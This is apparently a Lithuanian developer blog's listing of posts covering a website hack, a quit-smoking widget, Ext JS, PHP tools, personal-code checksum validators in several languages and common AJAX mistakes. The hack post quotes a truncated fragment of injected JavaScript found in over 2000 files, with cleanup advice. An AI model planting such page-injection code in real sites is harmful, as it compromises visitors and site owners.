Nori gauti straipsnius el. paštu - Prenumeruok

Straipsniai pagal gairę

Jei pas jus įsilaužė į svetainę

Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:

/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(‘script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);[.. ir t.t. ..] catch(e) {}

Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.

Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.

Ką tokiu atveju daryti?

  • Visų pirma pasikeisti FTP slaptažodžius
  • Žinoma, naikinti kodus (nesmagus užsiėmimas)
  • Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
  • Ką dar siūlote?

Jūsų asmeninė nerūkymo statistika

MLCPortraitMainJei užsimanei mesti rūkyti – tai tikrai sudėtingas procesas. Jis reikalauja velnioniškai daug pastangų. Nė vienam turbūt nepavyks mesti rūkyti jei jis neras savyje tam tikros priežasties. Vienas iš variantų – kažkam prisižadėti (gal net sau) ir galbūt net pasiskirti kokį nors prizą sau išlaikius šį gyvenimo egzaminą. Žinoma tinka ir lažybos.

Vienas iš įdomių veiksmų stebėti kaip rūkymas keičia tavo gyvenimą. Kažkada išvydau tam skirtą programą My Last Cigarette, kurioje suvedus tam tikrus duomenis matysite kaip jums sekasi. Patys svarbiausi yra šitie:

  • Kiek laiko nerūkote.
  • Kiek cigarečių nesurūkėte. Po pusmečio kiekis atrodo milžiniškas. O dar pažiūrėjus tokį eksperimentą
  • Kiek laiko prasmingiau gyvenate (extra days). Juk kiekvieną cigaretę surūkyti užima tam tikrą laiko tarpą. Daugelis rūkymo ritualui skiria valandą ir daugiau!

Turbūt pastebėjote, kad nerūkymo statistika rodantis mano pasiekimus yra įdiegta šio tinklaraščio šone. Jis turbūt labiausiai skirtas man pačiam.

Jei jau metėte ar norite mesti rūkyti galite irgi įsidiegti tokią statistika. Norite? Kad jums nereikėtų vargti aš padariau universalų skriptuką, kurį turėtumėte pasitalpinti savo tinklaraštyje. Tikiuosi perskaitę komentarus faile galėsite lengvai įsidiegti ir pasikoreguoti pagal save [ Parsisiųsti failą ].

Jei jūs įsidiegėte šį skriptuką pas save, praneškite čia. Mes su malonumu pažiūrėsime, kaip jums sekasi.

EXT JS 2.0

Gan neseniai išėjo EXT JS bibliotekos antra versija. Ji leidžia kurti pasinaudojus bibiliotekas web aplikacijas, kurios panašios į desktopines.

extjs1 extjs2  extjs4 extjs5

Tai tikrai patogu, bent man jau tam tikriuose vidinėse svetainėse. Tarkim administravimo sistemai. Be to tikrai neblogai atrodo. Bet jei pabandytume tai realizuoti kuriai nors viešai svetainei, na gal blogui nežinau ar lankytojai būtų stipriai sužavėti. Beja tokia tema jau egzisuoja (Ext JS WordPress Theme Blog).

EXT bilbioletka leidžia gan lengvai (na įprasti reikia) susikurti įrankius, kurių nėra standartinėse HTML bibliotekose. Tai medžiai, tabai, gridai, custom alertai. comboboxai  ir t.t. Štai keletas pavyzdžių: dekstopo imitacija, foto galerija/albumas, RSS skaitytuvus. Kitus pavyzdžius galite pasižiūrėti svetainėje.

Hm.. gaila kad darbe šiuo metu man netenka dirbti su tokiom aplikacijoms. Heh patiktų…

Tiesa kažkada minėjau bindows biblioteką, kuris tikrai yra galingas tiek savybėmis tiek kaina. O Ext gali būti tiek komercinis, tiek open source.

Javascript Dump

Programuojant, bet kokia programavimo kalba yra būtinas stebėti/patikrinti kaip koks kintamasis atrodo. Tai galėtų būti stringas, masyvas, objektas ir t.t. JavaScript tokios kaip ir standartinės funkcijos neturi, bet yra jau keletų alternatyvų. Tokios informacijos naudingumą javascript’e jau atradau ganėtinai seniai, kai pradėjau programuoti su turinio valdymo sistema SiteSupra. Daugeliui turbūt padeda firefox papildinys firebug. Na o toks standalone.. tikrai vertas dėmesio yra šiandien atrastas Javascript dump, kuris sugeba atvaizduoti tokius dalykėlius kaip String/Number/Boolean/Object/Array/Function. Heh malonus žaisliukas, kurio idėja kilo iš ColdFusiono, su kurio dabar tenka žaisti.. vieno projekto atnaujinimams.

Naudingos PHP programuotojui programos

Kiekvienas dirbantis savo srityje turi įrankius, web programuotojas ne išimtis. Kadangi esu PHP programuotojas parašysiu ką naudoju ir kokie įrankiai po ranka.

  • Zend Studio – turintis daug gerių savybių PHP redaktorius… deja kainuojantis.
  • Eclipse – Galingas redaktorius skirtas redaguoti įvairių progamavimo kalbų kodui su sintaksės spalvinimu, autocomplete palaikymu ir t.t. Tereikia įsidiegti papildomus pluginus ir jūs turėsite naujų savybių. Šioje programoje yra bent man geriausias matytas CVS/SVN palaikymo pricipas: sinchronizacija skirtymų – atnaujini tik tai ką tau reikia. Na PHP programuotojai gali pradėti diegti nuo PHPEclipse iškart gaus PHP palaikyma. Nemokamas
  • SQLyog MySQL GUI – Community Edition – MySQL duomenų bazės programėlė. Patogu testuoti užklausas, analizuoti struktūras ir t.t. Maloniausia, kad ši versija nemokama. Mokomoj versijoje atsiranda kitų gerų toolsų, tokių kaip duomenų bazių palyginimas (skirtumai ir etc), sinchronozavimai, exportavimai/importavimai iš įvairių formatų. Nemokamas
  • WinMerge – Failų skirtymų palyginima.
  • The Regex Coach – reguliujų išraiškų programėlė. Palengvina regex’ų rašya
  • Na turbūt į sąrašą reiktų įtraukti ir žymujį PHPMyAdmin bet PHP manualą (tiesa chm formate su paieška ir komentarais) :)

Kas būtų dar naudinga? Jūsų nuomonė…

Ajax manual

Visai įdomus sprendimas ir idėja nebloga, nors paprasta. Patestuokite patys, kolkas supranta PHP, Mysql, Javascript, Css.

WordPress + YUI

Sujungus WordPress ir Yahoo User Interface (YUI) library galima gan neblogą blogą derinuką padaryti. Visai gerai pasidarbavo vienas žmogelis su savo weblogu, man patiko (gražiai atrodo) navigacijos sprendimas, bei gan nauja komentavimo idėja. Komentuoti galima ne tik visą įrašą kaip įprastą, bet ir paragrafus…. :).

Prie kiekvieno paragrafo matosi komentarų skaitliukas, ir galima palikti įairius komenatus (bei matyti jų visumą). Ar tai naudinga spreskite patys.

JavaScript templating system – Display HTML blazingly fast

AJAX applications are everywhere, and one of the key issues is the speed of rendering HTML. Using innerHTML is not recommended, but DOM can be slow. This JS template system lets you render HTML much faster than standard DOM, while keeping its flexibility.

read more | digg story

Asmens kodas

Reikia patikrinti asmens kodo teisingumą? Manau šis dalykas jums pravers. Skanaus.

Algoritmas lietuviško asmens kodo (nuo 65 puslapio).

PHP, JavaScript versija pateikti nuo manęs, kiti buvo parodyti kaip komenarai senojoje blogo versijoje.

PHP

PHP - Copy Code

 1 <?

 2 /**

 3  * Tikrina ar asmens kodas

 4  *

 5  * @param string $s

 6  * @return bool

 7  */

 8 

 9 function ar_asmens_kodas($s) {

10   if (!is_numeric($s) || strlen($s)!=11) {

11     return false;

12   }

13   $d=0; $e=0; $b=1; $c=3;

14   for ($i=0;$i<10;$i++) {

15     $a=$s[$i];

16     $d=$d+($b*$a);

17     $e=$e+($c*$a);

18     $b++; if ($b==10) $b=1;

19     $c++; if ($c==10) $c=1;

20   }

21   $d=$d % 11;

22   $e=$e % 11;

23   if ($d==10) {

24     $i = ($e == 10) ? 0 : $e;

25   } else {

26       $i = $d;

27   }

28   return ($s[10]==$i) ? true : false;

29 }

30 

31 /**

32 * Butinai reikia paduotu stringa siam scriptui atveju, pvz

33 * ar_asmens_kodas('38011254123');

34 */

35 ?>

Javscript

Javascript – Copy Code

 1 function tikrinti_akoda(kodas) {

 2 var i,a,b,c,d,e;

 3 var s = new String(kodas);

 4     d=0;

 5     e=0;

 6     b=1;

 7     c=3;

 8     for (i=0;i<10;i++) {

 9         a=s.charAt(i);

10         d=d+(b*a);

11         e=e+(c*a);

12         b=b+1;

13         if (b==10)

14           b=1;

15         c=c+1;

16         if (c==10)

17             c=1;

18      }

19      d=d % 11;

20      e=e % 11;

21      if (d==10) {

22           if (e==10)

23             i=0;

24           else

25             i=e;

26      } else

27           i=d;

28      if (s.charAt(10)==i)

29          return true;

30      else

31          return false;

32 }

Perl

http://search.cpan.org/~kudarasp/Asmens-Kodas-0.02/lib/Asmens/Kodas.pm

MS SQL

Copy Code

 1 CREATE PROCEDURE asmensKodoTikrinimasSP

 2 (      @AsmensKodas bigint

 3 )

 4 AS

 5 BEGIN

 6   DECLARE @L  INTEGER,

 7             @M1 INTEGER,

 8             @M2 INTEGER,

 9             @M3 INTEGER,

10             @M4 INTEGER,

11             @D1 INTEGER,

12             @D2 INTEGER,

13             @R1 INTEGER,

14             @R2 INTEGER,

15             @R3 INTEGER,

16             @K  INTEGER,

17             @ATS BIT

18 

19     IF @AsmensKodas &gt; 10000000000

20     BEGIN

21          IF @AsmensKodas &lt; 69999999999

22          BEGIN

23               SET @L = @AsmensKodas / 10000000000

24               SET @AsmensKodas = @AsmensKodas - (10000000000 * @L)

25               SET @M1 = @AsmensKodas / 1000000000

26               SET @AsmensKodas = @AsmensKodas % 1000000000

27               SET @M2 = @AsmensKodas / 100000000

28               SET @AsmensKodas = @AsmensKodas % 100000000

29               SET @M3 = @AsmensKodas / 10000000

30               SET @AsmensKodas = @AsmensKodas % 10000000

31               SET @M4 = @AsmensKodas / 1000000

32               SET @AsmensKodas = @AsmensKodas % 1000000

33               SET @D1 = @AsmensKodas / 100000

34               SET @AsmensKodas = @AsmensKodas % 100000

35               SET @D2 = @AsmensKodas / 10000

36               SET @AsmensKodas = @AsmensKodas % 10000

37               SET @R1 = @AsmensKodas / 1000

38               SET @AsmensKodas = @AsmensKodas % 1000

39               SET @R2 = @AsmensKodas / 100

40               SET @AsmensKodas = @AsmensKodas % 100

41               SET @R3 = @AsmensKodas / 10

42               SET @AsmensKodas = @AsmensKodas % 10

43               SET @K = @AsmensKodas

44 

45               DECLARE @Suma INTEGER, @Liekana INTEGER

46               SET @Suma = @L * 1 + @M1 * 2 + @M2 * 3 + @M3 * 4 + @M4 * 5 +

47                          @D1 * 6 + @D2 * 7 + @R1 * 8 + @R2 * 9 + @R3 * 1

48               SET @Liekana = @Suma % 11

49               IF @Liekana &lt;&gt; 10

50               BEGIN

51                    IF @Liekana = @K

52                       SET @ATS = 1

53                    ELSE

54                       SET @ATS = 0

55               END

56               ELSE

57               BEGIN

58                    SET @Suma = @L * 3 + @M1 * 4 + @M2 * 5 + @M3 * 6 + @M4 * 7 +

59                               @D1 * 8 + @D2 * 9 + @R1 * 1 + @R2 * 2 + @R3 * 3

60                    SET @Liekana = @Suma % 11

61                    IF @Liekana &lt;&gt; 10

62                    BEGIN

63                       IF @Liekana = @K

64                          SET @ATS = 1

65                       ELSE

66                          SET @ATS = 0

67                    END

68                    ELSE

69                    BEGIN

70                         SET @Liekana = 0

71                         IF @Liekana = @K

72                            SET @ATS = 1

73                         ELSE

74                            SET @ATS = 0

75                    END

76               END

77          END

78          ELSE

79              SET @ATS = 0

80     END

81     ELSE

82         SET @ATS = 0

83 

84     SELECT @ATS

Kita

Na daugiau :) Dos versija

Ajax klaidos

Turbūt iš senesnių postų aiškų, kad aš webinių aplikacijų gerbėjas. Bet, kaip ir kiekvienas sprendimas turi savų minusų. Štai kokias klaidas AJAX sistemų apibudina SourceLabs svetainė.

Tikrai tingiu versti. Tad sorry:

  1. Not giving immediate visual cues for clicking widgets.
    If something I’m clicking on is triggering Ajax actions, you have to give me a visual cue that something is going on. An example of this is GMail loading button that is in the top right. Whenever I do something in GMail, a little red box in the top right indicates that the page is loading, to make up for the fact that Ajax doesn’t trigger the normal web UI for new page loading.

  2. Breaking the back button
    The back button is a great feature of standard web site user interfaces. Unfortunately, the back button doesn’t mesh very well with Javascript. Keeping back button functionality is a major reason not to go with a pure Javascript web app.

  3. Changing state with links (GET requests)
    As I’ve referenced in a previous posting, Ajax applications introduce lots of problems for users who assume GET operations don’t change state. Not only do state changing links cause problems for robots, users who are accustomed to having links drive navigation can become confused when links are used to drive application state changes.

  4. Blinking and changing parts of the page unexpectedly
    The first A in Ajax stands for asynchronous. The problem with asynchronous messages is that they can be quite confusing when they are pop in unexpectedly. Asynchronous page changes should only ever occur in narrowly defined places and should be used judiciously, flashing and blinking in messages in areas I don’t want to concentrate on harkens back to days of the html blink tag.

  5. Not using links I can pass to friends or bookmark
    Another great feature of websites is that I can pass URLs to other people and they can see the same thing that I’m seeing. I can also bookmark an index into my site navigation and come back to it later. Javascript, and thus Ajax applications, can cause huge problems for this model of use. Since the Javascript is dynamically generating the page instead of the server, the URL is cut out of the loop and can no longer be used as an index into navigation. This is a very unfortunate feature to lose, many Ajax webapps thoughtfully include specially constructed permalinks for this exact reason.

  6. Too much code makes the browser slow
    Ajax introduces a way to make much more interesting javascript applications, unfortunately interesting often means more code running. More code running means more work for the browser, which means that for some javascript intensive websites, especially poorly coded ones, you need to have a powerful CPU to keep the functionality zippy. The CPU problem has actually been a limit on javascript functionality in the past, and just because computers have gotten faster doesn’t mean the problem has disappeared.

  7. Inventing new UI conventions
    A major mistake that is easy to make with Ajax is: ‘click on this non obvious thing to drive this other non obvious result’. Sure, users who use an application for a while may learn that if you click and hold down the mouse on this div that you can then drag it and permanently move it to this other place, but since that’s not in the common user experience, you increase the time and difficulty of learning your application, which is a major negative for any application.

  8. Not cascading local changes to other parts of the page
    Since Ajax/Javascript gives you such specific control over page content, it’s easy to get too focused on a single area of content and miss the overall integrated picture. An example of this is the Backpackit title. If you change a Backpackit page title, they immediately replace the title, they even remember to replace the title on the right, but they don’t replace the head title tag with the new page title. With Ajax you have to think about the whole picture even with localized changes.

  9. Asynchronously performing batch operations
    Sure with Ajax you can make edits to a lot of form fields happen immediately, but that can cause a lot of problems. For example if I check off a lot of check boxes that are each sent asynchronously to the server, I lose my ability to keep track of the overall state of checkbox changes and the flood of checkbox change indications will be annoying and disconcerting.

  10. Scrolling the page and making me lose my place
    Another problem with popping text into a running page is that it can effect the page scroll. I may be happily reading an article or paging through a long list, and an asynchronous javascript request will decide to cut out a paragraph way above where I’m reading, cutting my reading flow off. This is obviously annoying and it wastes my time trying to figure out my place.